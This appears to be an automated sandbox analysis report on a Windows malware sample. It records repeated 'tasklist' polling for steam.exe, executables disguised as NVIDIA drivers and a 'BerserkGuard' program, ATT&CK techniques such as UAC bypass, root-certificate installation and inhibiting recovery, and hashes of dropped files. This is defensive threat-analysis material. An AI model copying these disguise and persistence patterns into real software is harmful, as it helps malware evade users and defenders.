        8⤵
        Enumerates processes with tasklist
        
        PID:5244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1360
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5732
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:732
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2464
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1988
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1536
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5604
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2492
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2792
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5984
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4668
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5072
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:1836
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1156
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5680
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2544
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5740
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:4932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2240
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5588
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4504
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:732
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1916
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5296
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:332
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4716
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5764
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3972
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2832
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2944
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2252
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4800
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3300
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3460
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5232
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3272
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5452
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5164
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:4760
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1888
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4532
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5656
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3152
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3584
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2776
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3972
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5984
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2164
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2108
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4620
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3844
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1036
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4088
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1236
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5740
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5372
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5336
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2984
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3436
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5656
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:3404
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4752
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:6056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:6080
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:2856
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4728
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:4060
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:2968
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:5032
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1632
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:284
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:892
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3704
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1428
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3432
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5012
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:1740
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:5176
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4992
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3104
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        Enumerates processes with tasklist
        
        PID:680
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:3584
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4700
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:4100
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1736
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        8⤵
        
        PID:1600
    - - C:\Program Files\WindowsOptions\FACEITInstaller_64.exe
        
        "C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:964
      - C:\Users\Admin\AppData\Local\Temp\is-BL2FTEXBYH.tmp\FACEITInstaller_64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BL2FTEXBYH.tmp\FACEITInstaller_64.tmp" /SL5="$802A8,78251674,1136640,C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1624
    - - C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe" install
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
    - - C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe" install
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:2592

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5212

C:\ProgramData\Microsoft DevDiv\BerserkGuard.sys
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.sys"
1⤵
- Executes dropped EXE
PID:4036

C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe
"C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:5232

C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe
"C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:3456

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Executes dropped EXE
PID:4816

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5092

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Executes dropped EXE
PID:1172

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Executes dropped EXE
PID:668

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Executes dropped EXE
PID:1372

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Executes dropped EXE
PID:5692

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 528 -p 5692 -ip 5692
1⤵
PID:4084

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Executes dropped EXE
PID:4676

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:4664

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:4500

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:5568

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 516 -p 5568 -ip 5568
1⤵
PID:1016

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:5124
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 5124 -s 488
  2⤵
  PID:3548

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:5196

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:5040

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:4880

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:2968

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:2932

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:860

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:1960

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 512 -p 1960 -ip 1960
1⤵
PID:4460

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:3564
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3564 -s 488
  2⤵
  PID:3068

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:4456

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:732

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:1836

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:4848

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
PID:5772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

nvidia_dr64.xml

Path C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml
Size 477B
SHA256 09f2d0b4faa1b2323738815de2312c173eac7d60e840e4044932f8d8bd14f033
MD5 437a7c4e825e8195f1e62380486b2854
SHA1 ebbcd57398a5a3f0cfa6aa8f6360ae9f5b2a3954
SHA512 048682d13e6043fc5c2729a32aa176bb79afe843f8d72dce35d227d9279ac82620afa9b3b4cf57005134126c56e92fd7699c3b9fb8d45d29a378f4ea5d9cc69c
TLSH
T156F05C62BDD6FE3A887F55927A12F62713B3C38823881D59F18E87035A909898867D41
MD5 SHA1 SHA512 TLSH

Submit Download

nvidia_driver64.wrapper.log

Path C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log
Size 260B
SHA256 b9d25809da1187e5df907df249cc4c482087b02137b48727451afa2439e30f08
MD5 da3e63d2d3e08ec1487ce82293ab04de
SHA1 0aa8d6d8a6a1a95c595fb2a0af57eca13dba99b2
SHA512 3313bd6283df2545245e8527d1f981bf5b3e6db8b965e075946cf92005aacf87a299b74f8ad3c34b29f778e25d057c45248beb716089f9136ff684fb02882ae9
TLSH
T1C9D05B261A911CECF19951868657E54D3F817101D66E700433B11545C6C700D6F98869
MD5 SHA1 SHA512 TLSH

Submit Download

nvidia_driver64.xml

Path C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.xml
Size 493B
SHA256 27345b4497922cffcf9765eea0cffb4c3bcd6706afa6f5d51711a626eff13560
MD5 34cc5b4f005c2bd2fe85a9f937d8075d
SHA1 d8a2686444264c63048a2d89c565f0f6ae978275
SHA512 74cb4e77d782bfe791cba52cf7400e69bb745face9344c7125391b1505b1d12cb840b738df63e4616fddb15be9ae7da204c5dc30accd01b2c0fe6be7c59e6139
TLSH
T1D4F09E51BCD6BE3DC87B05453A13E22723B3C28813D91959B18D4707979144D8863D41
MD5 SHA1 SHA512 TLSH

Submit Download

install_log.txt

Path C:\ProgramData\WindowsOptions\install_log.txt
Size 5KB
SHA256 a4cbf9c3f6760b1b8ac14eed2e4014c37a652df5f9ee36686d1e6404dda0129c
MD5 8620f3084a72d0f2f13fe353badb6883
SHA1 97f7bbc2614f5a33eece293da7b4eaa7d9bdc4e8
SHA512 4956d406ead3264fcc536b4a8cb0e8bc6517023a53e63160aef5efe67a4506daf2f70899d2cf1ba2f6d1df8519e4a8b93d138bc81dad18b8b35ce5887519ac48
SSDEEP 96:m9ASR4d13vQLvhjSQvx0vd0vdAvdshvdSvduvdfvd+vw:yapvOvhjSQvx0vd0vdAvd6vdSvduvdfN
TLSH
T136C1F50011DC33FB91745605E6497F4D5A42F078392A1A72276439A9EC53F508BBFEFA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mitmproxy-dhparam.pem

Path C:\ProgramData\WindowsOptions\mitmproxy-dhparam.pem
Size 770B
SHA256 8a4d78a835f8e4f00cd9fa9abe6ef943704510fe5b9b37324e6e01881417d845
MD5 fc2f07c8d3e3a56d7c015af819decda0
SHA1 5d4ccc272f1a1282ae3dae5996e0c57c9ad77d3c
SHA512 0cf974bb72c2868b8ef7423ca4baa25b21b84f89b88a176e4bb98d5aab52deecc47b12892f131bc9eaaa5661cd68fdcdcd9f9befa52a873ad21429ebf963a9be
TLSH
T1A00175B82D354D343832D0933A66248AFA6400C679B52508B9D68E08621E95195DE96B
MD5 SHA1 SHA512 TLSH

Submit Download

service2.log

Path C:\ProgramData\WindowsOptions\service2.log
Size 609B
SHA256 ecc7326d54fed18c7e30cee413cdaa400635c42ab15bc6b9723de1971591eb82
MD5 4a6580003f3ad871fcf596fb67f15407
SHA1 da8ee23def2be799dad920aa3f0727e3f49a6276
SHA512 c58cc2746e91966bea2422b4bc7554a687b0e21ce5e234e6d96275d41fad123340a79ad3c2e70691bdd416fd4dc0688eb1d3f1800ffa65a34af872d3c528d15b
TLSH
T154F049804BAA0AE2B45741D5E30A0F1C4652F7672BC20D3F73B150AFC91BE729DAA4D3
MD5 SHA1 SHA512 TLSH

Submit Download

service2.log

Path C:\ProgramData\WindowsOptions\service2.log
Size 1KB
SHA256 e70d85a23012cff8207e4b6fca4670eb73b2a5843ce0859cf91d0aae0c3c6bf7
MD5 2453e5c531f6708bda0dc9749cd0f333
SHA1 6ca1171d9c49a6923e085013f1386e939df0d9cc
SHA512 66040e8e58ce9530c22cd791b1af95387fd19b9d758d5c276fbc58720766de129d48be66745d379f993b9f24cd7525e3e026f567a2a45d1381989c04d2ddc32e
TLSH
T1F8315D808AE91EE2B55782D4E30D0F4C6616F71717C60D3E63F284D9DE1BE7299AA483
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 14f3314d36a89df65827f0f67abfa57ab9e7c5d80612c7a5291423161cd2bdbb
MD5 845547a41a701257f92a3c9e51dbd250
SHA1 73f9354994dc9a07e901c82cab153b04f22f3ac3
SHA512 019cfb45ee48ef5cbbf49f226086c34a2cfb92986330db11b6ce72df4b37e8b5824dae8e64a2110d97c1206b17b48fefc8793a560155503e786f091436b3dcb6
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQS3:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wI
TLSH
T152A1DD317375E0D5C8263F07192C19D463AF439AEA54AF48B258620EED2614BDB222F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
